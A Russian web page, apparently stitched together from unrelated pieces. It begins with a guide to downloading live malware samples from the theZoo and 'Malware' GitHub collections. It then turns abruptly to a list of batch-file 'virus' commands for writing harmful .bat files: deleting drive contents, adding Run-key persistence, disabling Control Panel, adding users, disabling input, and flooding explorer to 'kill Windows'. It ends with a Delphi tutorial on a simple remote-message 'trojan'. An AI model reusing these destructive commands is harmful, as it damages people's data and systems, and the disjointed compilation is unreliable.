Троян чит. Образцы вирусов с исходным кодом

Где скачать образцы вирусов с исходным кодом и подробным описанием?

Найти сборник актуальных вирусов, а уж тем более с описанием и исходниками — это задача не легкая. Мы уже рассказывали где для анализа и изучения. Сегодня я вам поведаю еще про один источник на котором можно найти и скачать но на этот раз не просто малварь найденная в сети, а исполнительные файлы и исходники вирусов с подробной информацией.

В этой статье вы узнаете о парочке интересных проектов, которые предлагают окунуться в мир исходного кода всевозможных троянов, ботнетов, стиллеров, червей и т.д.

  • Предисловие
  • Исходники вирусов
  • Проект theZoo
  • Проект Malware

Зачем и кому могут понадобиться образцы вирусов?

Исполняемые файлы и исходники вирусов могут понадобиться для анализа технологий используемых вредоносным ПО, для изучения поведения вирусов в системе (мониторинг файловой системы, процессов, ) и тестирования антивирусов. Сотрудники антивирусных компаний готовы платить деньги для получения исходников нового вируса.

Законно ли скачивать вирусы?

Скачивать образцы вирусов для изучения и анализа на своем компьютере вы можете, а вот распространять и заражать ими других — нельзя. Подробнее об этом в статье 273 УК РФ.

Цель этих проектов — дать специалистам антивирусных компаний и людям интересующихся анализом вирусов, разобраться в устройстве вредоносного кода малвари.

Внимание! Имейте ввиду, что скаченные файлы являются рабочими вирусами. Часть из них будут пытаться заразить ваш компьютер. Ни в коем случае не запускайте скачанные файлы на основном компьютере. Я также не рекомендую скачивать образцы вирусов без особых знаний анализа вредоносных программ.

В любом случае сайт www.сайт не несет никакой ответственности за любой вред нанесенный вами своим и чужим компьютерам.

Я настоятельно рекомендую использовать . Не забудьте про вредоносные черви которые будут пытаться распространиться и выбежать из виртуальной машины. Для избежания этого я советую отключать все гостевые дополнения виртуальных машин, доступ в сеть и т.д. Как это сделать вы можете узнать из ссылки выше.

Исходники вирусов: Проект theZoo

Начнем обзор с проекта theZoo, что переводится как зоопарк (с юмором у авторов все нормально). Находиться он в репозитории Githab.

Цель проекта сделать доступным изучение вирусов. Авторы собирают и обновляют базу вирусов. С помощью theZoo вы сможете получить доступ к популярным образцам вредоносного ПО.

Образцы вирусов: Проект theZoo

Для скачивания и изучения предлагается как исполняемый файл так и исходники.

Как пользоваться theZoo?

Использовать проект theZoo можно по разному: прямо с сайта или с помощью фреймворка. Мы рассмотрим оба способа. Начнем с первого.

Итак, переходим на сайт и видим несколько директорий и файлов.

Исполняемые файлы вирусов находятся в каталоге:

theZoo / malwares / Binaries /

В нем вы найдете исполняемый файл вирусов. Для каждого отдельного вредоноса — отдельная директория, в которой находятся 4 файла: само вредоносное ПО в зашифрованном виде в ZIP архиве, SHA256 и MD5 — контрольные суммы архива для сравнения и пароль для зашифрованного архива.


Исполняемые файлы вирусов: Троян Androrat

Исходный код вирусов находятся в каталоге:

theZoo / malwares / Source / Original /

В каждом каталоге четыре аналогичных файла. Все также как и с исполняемыми файлами.


Исходники вирусов: Троян Dendroid

Для каждого отдельного образца есть справка, но чтобы воспользоваться справкой необходимо установить фреймворк.

Для установки фреймворка theZoo используем команду:

git clone https://github.com/ytisf/theZoo

Требования: urllib2, python3

Команды: search, use, get, info, list all, report-mal, update-db, exit. Подробнее о командах с помощью команды help.

Итак, с этим проектом разобрались, теперь рассмотрим еще один.

Образцы вирусов: Проект Malware

Проект Malware тоже расположен на Githab. Выбор вирусов не такой большой как в зоопарке, но обновляется чаще. Среди небольшого количества вредосноных программ можно найти исходники троянов, ботнетов, вымогателей, стиллеров паролей и прочего «добра».

Вот список на сегодняшний день:

  • Alina Spark (Троян)
  • Bleeding Life 2 (Эксполит пак)
  • Carberp (Ботнет)
  • Carberp (Банковский троян)
  • Crimepack 3.1.3 (Эксплоит пак)
  • Dendroid (Троян для Андроид)
  • Dexter v2 (Троян)
  • Eda2, Stolich, Win32.Stolich (Вымогатель)
  • FlexiSpy (Шпионское ПО)
  • (Фреймворк)
  • GMBot (Android троян)
  • Gozi-ISFB — (Банковский троян)
  • Grum (Спам бот)
  • Hacking Team RCS ()
  • Hidden Tear (Вымогатель)
  • KINS (Банковский троян)
  • Mirai (Ботнет интернета вещей)
  • Pony 2.0 (Стилер паролей)
  • PowerLoader (Ботнет)
  • RIG Front-end (Эксплоит пак)
  • Rovnix (Буткит)
  • Tinba (Банковский троян)
  • TinyNuke (Банковский троян)
  • Trochilus, RedLeaves (RAT)
  • Zeus (Банковский троян)

Исходный код вирусов: проект Malware

Давайте к примеру зайдем в папку трояна Alina. Здесь нам предлагается несколько директорий, среди которых есть и исходники. Кроме того в нижней части авторами добавлены ссылки на информацию касающуюся вредоноса.

вот поеснения команд
assoc .exe=.mp3-Ексешники запускаются как музыка label E: pridurok-меняется винт на придурок time 00:00 -менять время
date 13.03.36-менять дату assoc .lnk=.txt-меняют ярлэчки в тхт файл copy %0 F:\Work.bat-копирование обьекта

1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.
del F:\ *.* /q
label F:HACK
2) Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.
time 14:13
date 11.07.12
copy %0 C:\Time.bat
copy %0 F:\Time.bat
----------
>nul-скрывать строку команду
%SystemRoot%/system32/rundll32 user32, SwapMouseButton-меняет местами клавиши мыши
---------------
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Очень жестокая команда: добавляет программу в автозагрузку ОС.
«del x:\y *.* /q» - удалит все файлы на диске х в папке у (кроме папок) (пример del F:\Data*.* /q);
«net user «х» /add» - добавит на компьютер пользователя под именем х (пример net user «Smoked» /add);
«@echo off» вводиться в начале нашего вируса и скрывает все
rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
del *.* /q (после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!!
md 1-создания папок
Для запуска файла во время загрузки Windows, переименуйте файл в Autoexec.bat
Echo Virus Loading-надпись на экран вирус лодин
del c:Program Files/q (удаляет все файлы из этой папки)
reg - непосредственная работа с реестром. Смотреть reg /? всем!
rcp - обмен файлами через rcp в ascii
runas - от имени пользователя
tasklist - отображает приложения и сеансы, связанные с ним.
taskkill - позволяет завершить один или несколько процессов
tftp - trivial ftp
tskill - убить процесс
reg - утилита взаимодействия с реестром
bootcfg - настройка boot.ini
append - позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac - получить мас
logoff - Заверщить пользовательский сеанс.
mem - вывод на экран сведений о текущих процессах в ОЗУ
mqbkup - архивирование
netsh - ??
openfiles - просмотреть открытые файлы.
rsh - выполнение команд на удаленных узлах с запущеной rsh
sc - command line ??
rexec - выполнение команд на удаленных узлах с запущеной rexec
shutdown - выключить (хе-хе) local or remote computer.
systeminfo - вывод инфы о компе.
schtasks - планировщик заданий.
xcopy - копирование файлов и каталогов.
tsshutdn - завершение работы сервера в установленом порядке.
set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн.”мой комп”) - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.
Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

rundll32 user,wnetdisconnectdialog
Окно “Отключение сетевого диска” Вызвать

rundll32 user,disableoemlayer
Сбой пpовоциpовать

rundll32 user,repaintscreen
Обновить (как)

rundll32 user,setcursorpos
Maus-Cursor слева ввеpх посадить

rundll32 diskcopy,DiskCopyRunDll
Окно “Copy Disk” вызвать

rundll32 rnaui.dll,RnaWizard /1
Диалог “Установка Связи” вызвать (/1 = без окна)

rundll32 shell,shellexecute
Explorer-Окно откpыть в коpневом каталоге

rundll32 shell32,OpenAs_RunDLL
Окно “Откpыть с помощью…” вызвать***

rundll32 shell32,SHFormatDrive
Окно “Фоpматиpование: Диск3,5(А)” вызвать

rundll32 shell32,ShellAboutA
Info-Box (о Windows) вызвать

rundll32 shell32,SHExitWindowsEx 0
Windows 98 заново стаpтанyть (без autoexec.bat и дp.)

rundll32 shell32,SHExitWindowsEx 1
Работy с Windows 98 закончить

rundll32 shell32,SHExitWindowsEx 2
Windows-98-PC boot

rundll32 shell32,SHExitWindowsEx -1
Windows-98-Explorer стаpтанyть заново

rundll32 shell32,Control_RunDLL
Откpыть окно “Панель yпpавления”

rundll32 shell32,Control_RunDLL desk.cpl
Откpыть “Свойства Экpана”

rundll32 shell32,Control_RunDLL main.cpl
Откpыть Modul-Панели yпpавления из MAIN.CPL **

rundll32 krnl386.exe,exitkernel
выход из Windows без любых сообщений/вопpосов

rundll32 user,swapmousebutton
“Пеpеставить” клавиши мыши *

rundll32 keyboard,disable
“Отключить” клавиатypy *

rundll32 mouse,disable
“Отключить” мышь *

rundll rnaui.dll,RnaDial “пpовайдеp”
Вызвать окно “Установка связи” с именем “пpовайдеp”

rundll32 user,tilechildwindows
выстpоить все не свёpнyтые окна свеpхy вниз

rundll32 user,cascadechildwindows
выстpоить все не свёpнyтые окна каскадом

rundll32 sysdm.cpl,InstallDevice_Rundll
(единств. возможность в W98) yстановить non-Plug&Play обоpyдование

rundll32 msprint2.dll,RUNDLL_PrintTestPage
выбpать в появившемся меню пpинтеp и послать а него тест

rundll32 user,setcaretblinktime
yстановить новyю частотy мигания кypсоpа *

rundll32 user, setdoubleclicktime
yстановить новyю скоpость двойного нажатия *

rundll32 setupx.dll,InstallHinfSection
DefaultInstall 130; C:\file.inf
окно “Пеpезапyск системы. Пpоизвести её сейчас? ъ Да/нет ъ” ****

ASSOC - Отображает или модифицирует связи расширений файлов
AT - Планирует команды и программы для выполнения на компьютере.
ATTRIB - Отображает или изменяет атрибуты файла.
BREAK - Устанавливает или отменяет проверку комбинации .
CACLS - Отображает или модифицирует списки управления доступом (ACLs) для файлов.
CALL - Вызывает один *.BAT-файл из другого.
CD - Отображает имя или изменяет имя текущей директории.
CHCP - Отображает или устанавливает номер активной кодовой страницы.
CHDIR - Отображает имя или изменяет имя текущей директории.
CHKDSK - Проверяет диск и отображает отчет о состоянии.
CLS - Очищает экран.
CMD - Стартует новый экземпляр интерпретатора команд Windows NT.
COLOR - Устанавливает цвета по умолчанию для переднего и заднего плана консоли.
COMMAND - Стартует новую копию интерпретатора команд Windows.
COMP - Сравнивает содержимое двух файлов или установки файлов.
COMPACT - Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).
CONVERT - Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.
COPY - Копирует один или больше файлов на другое место.
CTTY - Изменяет терминальное устройство, используемое для управления вашей системой.
DATE - Отображает или устанавливает дату.
DEL - Удаляет один или более файлов.
DEBUG - Выполняет отладку, тестирование программ и редактирование инструментальных средств.
DIR - Отображает список файлов и поддиректорий в директории.
DISKCOMP - Сравнивает содержимое двух дискет.
DISKCOPY - Копирует содержимое одной дискеты на другую.
DOSKEY - Редактирует командные строки, восстанавливает команды Windows и создает макрос.
ECHO - Отображает сообщения, или включает/выключает вывод команд.
EMM386 - Включает/выключает поддержку расширенной памяти EMM386.
ENDLOCAL - Заканчивает локализацию изменений окружающей среды в *.BAT-файле.
ERASE - Удаляет один или более файлов.
EXIT - Прекращает выполнение программы (интерпретатор команд).
EXTRACT - Средство извлечения информации из CAB - файлов.
FC - Сравнивает два файла или установки файлов, и отображает различие между ними.
FIND - Ищет текстовую строку в файле или файлах.
FINDSTR - Поиск строк в файлах.
FOR - Выполняет указанную команду для каждого файла в наборе файлов.
FORMAT - Форматирует диск для использования с Windows.
FTYPE - Отображает или модифицирует типы файлов, используемых в связях расширений.
GOTO - Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.
GRAFTABL - Способность Windows отображать символы псевдографики, вставленные в графическом режиме.
HELP - Обеспечивает информацию Help для команд Windows.
IF - Выполняет обработку условия в *.BAT-файле.
KEYB - Конфигурирует клавиатуру для заданного языка.
LABEL - Создает, изменяет, или удаляет метку тома на диске.
LOADHIGH(LH) - Загружает программу в верхние адреса памяти.
MD - Создает директорию.
MEM - Отображает величину используемой и свободной памяти в вашей системе.
MKDIR - Создает директорию.
MODE - Конфигурирует системное устройство.
MORE - Отображает вывод одного экрана за раз.
MOVE - Перемещает один или более файлов из одной директории в другую на том же диске.
NETSTAT - Отображает статистики протоколов и текущих сетевых соединений TCP/IP.
NLSFUNC - Загружает информацию, специфическую для страны.
PATH - Отображает или устанавливает путь поиска для выполняемых файлов.
PAUSE - Приостанавливает обработку *.BAT-файла и отображает сообщение.
POPD - Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.
PRINT - Печатает текстовый файл.
PROMPT - Изменяет подсказку к командам Windows.
PUSHD - Сохраняет текущую директорию, потом изменяет.
RD - Удаляет директорию.
RECOVER - Восстанавливает читаемую информацию с плохого или дефектного диска.
REM - Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.
REN - Переименует файл или файлы.
RENAME - Переименует файл или файлы.
REPLACE - Заменяет файлы.
RESTORE - Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.
RMDIR - Удаляет директорию.
SET - Отображает, устанавливает или удаляет переменные среды Windows.
SETLOCAL - Начинает локализацию изменений среды в *.BAT-файле.
SETVER - Устанавливает номер версии MS-DOS, который Windows сообщает программе.
SHIFT - Сдвигает позицию замещаемых параметров в *.BAT-файле.
SMARTDRV - Инсталлирует и конфигурирует утилиту кэширования диска SMART - драйва.
SORT - Сортирует входной поток.
START - Стартует отдельное окно для выполнения указанной программы или команды.
SUBST - Связывает путь с литерой диска.
SYS - Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.
TIME - Отображает или устанавливает системное время.
TITLE - Устанавливает заголовок окна для сеанса.
TREE - Графически отображает структуру директория в драйве или путь.
TYPE - Отображает содержимое текстового файла.
VER - Отображает версию Windows.
VERIFY - Сообщает Windows, проверять ли правильность записи файлов на диск.
VOL - Отображает метку дискового тома и серийный номер.
XCOPY - Копирует файлы и деревья директории.

Ну а если хочешь “убить” Windows то:
@echo off
start explorer
start explorer
start explorer
start explorer - повторить ещё раз 100 и прописать в автозагрузку.

Если Вам интересно посмотреть, как пишутся «Программы сервер – клиент» и как они работают на реальном примере, предлагаю прочитать пост до конца. Будет интересно!

Пример программы я решил писать на Delphi! Так как, это проще и хорошо подходит для маленького, но реального примера. Что касается грозного слова «» которое я упомянул выше, то тут, получается действительно, самый настоящий троян, но с малым и безобидным функционалом.

Вы узнаете, по какому принципу пишутся «» и как они работают изнутри! Но, есть одно «НО» Трояны не пишут, так как – это будет описано ниже. Поскольку в нашем примере, «Серверная » часть программы будет много весить (Это не приемлемо для реального трояна ), и мы не будет её скрывать в системе. В реальном, «Вредоносном ПО» дела обстоят немного по другому.

Серверную часть программы стараются разработать с малым размером, ну примерно «100 КБ» Плюс — минус сколько-то КБ. И скрывают её в системе, так, что искать её придется долго!…

Но все ровно, принцип разработки один! И данный пример идеально подойдёт для понимания, как работаю программы по принципу «Сервер — Клиент» Просто у нас не правильный тон разработки трояна, а оно нам надо? Правильно. НЕТ!!! Мы же хорошие ребята и хулиганить не собираемся!

Как работают программы по принципу «Сервер – Клиент»

Просто и в двух словах картина выглядит вот так: Вы на своём компьютере запускаете «Клиентскую » часть программы, как правило, она имеет «GUI» то есть интерфейс пользователя (Если клиент не консольный)

На компьютере, к которому вы желаете получить доступ, запускается «Серверная » часть программы, она же открывает определённый порт на чужом компьютере и не видна в системе.

Через этот порт происходит соединения, Вы в клиенте указываете порт и IPадрес компьютера, на котором запущен сервер, подключаетесь к серверу и можете спокойно выполнять какие-то действия на чужом ПК со своего компьютера! Ещё можно прочитать мой прошлый пост и узнать:

Надеюсь, что здесь объяснил, вроде как понятно и простым человеческим языком! Если что-то не ясно, дальше, на примере все станет ясно! Далее давайте определимся, какие действия буду выполняться на удалённом ПК вследствие работы нашего маленького трояна!

Какой функционал в данном примере программы Сервер – Клиент.

Честно сказать, на этом этапе, когда размышлял, что бы показать я как-то замешкался и не как не мог придумать, что-то интересное! В общем пусть будет функционал из одной возможности и до жути простой:

— Пользователь будет получать Ваше сообщение.

Не вижу смысла добавлять какие-то другие возможности. Так как, считаю, что для примера и понимание этого вполне достаточно. Так же, думаю, не стоит писать много кода, то, что имеется ниже, то же достаточно, что бы посмотреть на программу изнутри!

А за место сообщение может быть все что угодно, зависит от фантазии человека решившего написать троян и от его знаний в программировании.

Ну, а у нас будет такой прикол! Человек, сидя за компьютером, неожиданно получит сообщение, например

«Привет, я шастаю по твоему компу »

представляете реакцию человека? Думаю это смешно, было бы увидеть его выражение лица!!!

Разработка программы по принципу «Сервер – Клиент»

Приступаем к самому интересному! И начнём мы с разработки самого «Сервера » после чего напишем под него клиент! Я не буду объяснять код программы, просто, буду приводить примеры, все же у меня не блог по программированию, да и цель поста показать поэтапно процесс разработки подобных программ по типу «Сервер – Клиент»

Разработка Сервера!

Изначально, нужно научить «Сервер» открывать какой-то порт на компьютере, дабы в дальнейшем иметь возможность подключиться к нему из «Клиента» а уже после научим принимать команды и выполнять какие-то действия на ПК.

Откроем порт следующим кодом, который до боли прост:

Delphi/Pascal

procedure TForm1.FormCreate(Sender: TObject); begin ServerSocket1.Port:= 666; ServerSocket1.Active:= true; end;

procedure TForm1 . FormCreate (Sender : TObject ) ;

begin

ServerSocket1 . Port : =666 ;

ServerSocket1 . Active : =true ;

end ;

Теперь если запустить программу появится просто, пустое окно без всяких кнопок и прочих элементов. И самое главное, на компьютере будет открыт порт с номером «666» Именно на этот порт в дальнейшем будем отправлять команды на сервер, и он в свою очередь будет их обрабатывать.

А пока убедимся, что сервер работает и порт открыт, вспоминаем команду «netstat» и смотрим результат.

Как видим на компьютере, вследствие запуска нашей программы действительно был открыт порт с номером «666» Это говорит только ободном, программа работает, и пришла пора научить «Сервер » принимать сообщение.

Delphi/Pascal

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var komm:string; Begin komm:=socket.ReceiveText; if copy(komm,1,12) = "MESSAGE_TEXT" then begin Delete(komm, 1, 12); ShowMessage(komm); end; end;

procedure TForm1 . ServerSocket1ClientRead (Sender : TObject ;

Socket : TCustomWinSocket ) ;

komm : string ;

Begin

komm := socket . ReceiveText ;

if copy (komm , 1 , 12 ) ="MESSAGE_TEXT" then

begin

Delete (komm , 1 , 12 ) ;

ShowMessage (komm ) ;

end ;

end ;

Тут дела обстоят следующие образом! Если серверу придёт команда с названием «MESSAGE_TEXT» (Название может быть любое ) то сработает процедура «ShowMessage» и покажет сообщение, которое пришло вмести с командой и хранится в строковой переменной «komm»

Соответственно текст сообщение будем набирать в «Клиенте » и он может быть любого содержание!

В прочем, на этом разработка «Серверной » части закончена. В итоге у нас получился файлик «Server.exe » и пока отложим его в сторону до того момента пока не напишем «Клиент »

Разработка Клиента!

Клиент у нас будет по понятным причинам с графическим интерфейсом пользователя (GUI) и должен иметь элементы управление, кнопки и поля ввода. У меня получился вот такой вид программы:

Определимся со всеми элементами! Хотя и так понят но, как говорится, на всякий случай поясню.

IP : Поля для ввода IPкомпьютера, где запущен сервер.
Port : Указываем номер порта на котором висит сервер.
— Подключится : Кнопка для подключения к серверу.
— Текст сообщение : Поле для ввода сообщение, которое нужно отправить.
— Отправить сообщение… : Соответственно кнопка для отправки сообщение.
— Статус соединение : Тут мы узнаем, подключились или нет!

Delphi/Pascal

procedure TForm1.Button1Click(Sender: TObject); begin ClientSocket.Host:= IP.Text; ClientSocket.Port:= StrToInt(Port.Text); ClientSocket.Open; end;

procedure TForm1 . Button1Click (Sender : TObject ) ;

begin

ClientSocket . Host : =IP . Text ;

ClientSocket . Port : =StrToInt (Port . Text ) ;

ClientSocket . Open ;

end ;

Можно уже прям сейчас, запустить программу, и попробовать подключиться к «Серверу » но мы не узнаем результат, подключились или нет. Перед проверкой исправим это и научим программу показывать результат соединение.

Delphi/Pascal

procedure TForm1.ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Label4.Caption:= ("Удалось выполнить подключение к: " + IP.Text); Label4.Font.Color:= clGreen; end;

И на тот случай, если все токи не удалось подключиться к серверу, например потому-что «Сервер » на удалённом ПК не запущен и соответственно порт «666» закрыт.

Delphi/Pascal

Procedure TForm1.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if ErrorCode = 10061 then begin ClientSocket.Active:= False; Label4.Font.Color:= clRed; Label4.Caption:= ("НЕУдалосьвыполнитьподключениек:" + IP.Text); ErrorCode:= 0; end; end;

procedure TForm1 . ClientSocketError (Sender : TObject ; Socket : TCustomWinSocket ;

ErrorEvent : TErrorEvent ; var ErrorCode : Integer ) ;

begin

If ErrorCode =10061 then

begin

ClientSocket . Active : =False ;

Label4 . Font . Color : =clRed ;

Label4 . Caption : =("НЕУдалосьвыполнитьподключениек:" +IP . Text ) ;

ErrorCode : =0 ;

end ;

end ;

Теперь смотрим, как работает программа. Для начала запускаем клиент, но не запускаем сервер, что бы проверить, будет ли выведено сообщением о том, что подключится, не удалось.